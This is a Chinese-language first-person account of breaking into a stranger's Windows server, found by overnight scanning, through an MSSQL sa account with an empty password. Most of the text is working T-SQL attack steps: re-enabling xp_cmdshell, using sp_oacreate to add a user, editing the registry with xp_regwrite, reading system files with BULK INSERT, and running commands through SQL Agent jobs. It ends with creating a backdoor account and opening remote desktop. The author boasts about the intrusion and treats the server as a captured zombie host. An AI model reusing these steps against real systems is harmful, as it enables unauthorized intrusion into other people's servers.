昨晚没关机 扫了一夜 扫到一个3389,而且开着1433,且1433的sa账户是空口令。
遂大喜。
第一步:尝试xp_cmdshell
提示找不到xplog70.dll,于是我恢复一下xp_cmdshell试试
dbcc addextendedproc ( ' xp_cmdshell ' , ' xplog70.dll ' )
仍然提示找不到xplog70.dll,看来是管理员把该DLL删除了。
第二步:尝试xp_oacreate
exec sp_oacreate ' wscript.shell ' , @shell output
exec sp_oamethod @shell , ' run ' , null , ' c:\windows\system32\cmd.exe /c net user lee asdf123 /add ' --
结果提示无法找到odsole70.dll,于是恢复sp_oacreate试试
dbcc addextendedproc ( ' sp_oacreate ' , ' odsole70.dll ' )
仍然提示找不到odsole70.dll,无奈,管理员将这个dll也删除了。
第三步:尝试xp_regwrite (使用xp_regwrite修改注册表,开启沙盒模式)
exec xp_regwrite ' HKEY_LOCAL_MACHINE ' , ' SoftWare\Microsoft\Jet\4.0\Engine ' , ' SandBoxMode ' , ' REG_DWORD ' , 1
成功执行了 噢YEAH。
然后通过openrowset引用microsoft.jet引擎,执行dos命令,c:\windows\system32\ias\ias.mdb这个数据库文件是xp/2003默认带的,可以通过dir /a /s *.mdb 查看当前系统的mdb文件。
提示下面这个错误,不知道为什么,但是可以证明的是microsoft.jet.oledb.4.0是可用的,否则会提示找不到microsoft.jet.oledb.4.0。
初步分析是ias.mdb被管理员删除。
OLE DB 错误跟踪[OLE / DB Provider ' microsoft.jet.oledb.4.0 ' IDBInitialize::Initialize returned 0x80004005 : ]。
Msg 7399 , Level 16 , State 1 , Line 1
OLE DB 提供程序 ' microsoft.jet.oledb.4.0 ' 报错。
为了证实ias.mdb被管理员删除,于是通过BULK执行该命令查看ias.mdb是否存在。
CREATE TABLE [ clee ] (ResultTxt nvarchar ( 1024 ) NULL )
BULK INSERT [ clee ] FROM ' c:\windows\system32\ias\ias.mdb ' WITH (KEEPNULLS)
insert into [ clee ] values ( ' g_over ' );
Alter Table [ clee ] add id int NOT NULL IDENTITY ( 1 , 1 )
select * from [ clee ]
返回如下提示,证实了我的想法,ias.mdb果然被变态的管理员删除了,真搞不懂安全设置可以考虑这么周到的管理员竟然会给sa留下一个空口令。
未能进行大容量插入。文件 ' c:\windows\system32\ias\ias.mdb ' 不存在。
不过,得到该提示说明BULK是可以使用的,我们是可以读取磁盘的文件的。
于是我看了下boot.ini文件
CREATE TABLE [ clee ] (ResultTxt nvarchar ( 1024 ) NULL )
BULK INSERT [ clee ] FROM ' c:\boot.ini ' WITH (KEEPNULLS)
insert into [ clee ] values ( ' g_over ' );
Alter Table [ clee ] add id int NOT NULL IDENTITY ( 1 , 1 )
select * from [ clee ]
得到如下结果
说明是2003企业版的。
第四步 启动SQLSERVERAGENT 通过JOB执行cmd
抱着试一试的心态,我启动SqlserverAgent
竟然提示服务启动成功,这下终于可以执行dos命令了。
接着添加执行cmd命令的JOB。
exec sp_delete_job NULL , ' x '
exec sp_add_job ' x '
exec sp_add_jobstep NULL , ' x ' , NULL , 1 , ' CMDEXEC ' , ' cmd /c dir c:\ > c:\a.txt '
exec sp_add_jobserver NULL , ' x ' , @@servername
exec sp_start_job ' x '
这里执行dir列目录命令,列出c盘根目录下的文件,将结果保存到a.txt
然后通过BULK查看a.txt中的结果。
CREATE TABLE [ clee ] (ResultTxt nvarchar ( 1024 ) NULL )
BULK INSERT [ clee ] FROM ' c:\a.txt ' WITH (KEEPNULLS)
insert into [ clee ] values ( ' g_over ' );
Alter Table [ clee ] add id int NOT NULL IDENTITY ( 1 , 1 )
select * from [ clee ]
OK 顺利看到结果,接下来运行net user,加上账户后,使用xp_regwrite通过更改注册表打开3389,然后连上可爱的3389吧。
=======================================================
======================= 华丽的分割线 =======================
=======================================================
后记:
这次入侵成功的关键点第一个是管理员将sa设置为空口令,而且sqlserveragent可以启动,这样就可以通过job来执行cmd命令并结合bulk查看执行结果了。
连上3389后我才知道,xplog70.dll和odsole70.dll 还有ias目录下两个可爱的mdb文件,不是管理员删除的,是另外一个同行拿到3389后,为了不让该肉鸡沦落到他人手中而删掉的,fuck! 我从来不干这种事,一向都是有鸡同享 -。-